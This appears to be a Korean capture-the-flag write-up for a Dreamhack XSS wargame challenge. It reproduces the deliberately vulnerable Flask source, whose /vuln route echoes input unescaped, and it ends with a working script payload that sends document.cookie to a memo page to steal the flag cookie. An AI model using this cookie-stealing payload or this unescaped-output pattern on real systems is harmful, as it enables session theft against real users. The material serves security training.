XSS-1

드림핵 

Dreamhack XSS-1

 

https://dreamhack.io/wargame/challenges/28/

xss-1

전체코드

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

💡 vuln 함수가 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생

로컬이 memo페이지에 쿠키 값을 남기게 하기!

 

flag

POST > check_xss함수 실행 (param로 스크립트 삽입)

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

check_xss

param과 cookie를 받고 url을 만들어 flag가 담긴 쿠키와 read_url함수로 전달

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"<http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}>"
    return read_url(url, cookie)

read_url

driver.add_cookie(cookie)로 쿠키를 추가됨 확인

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("<http://127.0.0.1:8000/>")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

vuln(xss) page

이용자가 전달한 param 값을 그대로 출력

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

memo

memo_text값을 출력 (렌더링 함수 사용으로 취약점 X)

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\\n"
    return render_template("memo.html", memo=memo_text)

app.run(host="0.0.0.0", port=8000)

localhost:8000의 쿠키 값을 출력하는 location.href와 document.cookie 기능을 이용하여 memo 페이지에 flag 값을 출력

 

<script>location.href="/memo?memo=hello"+document.cookie;</script>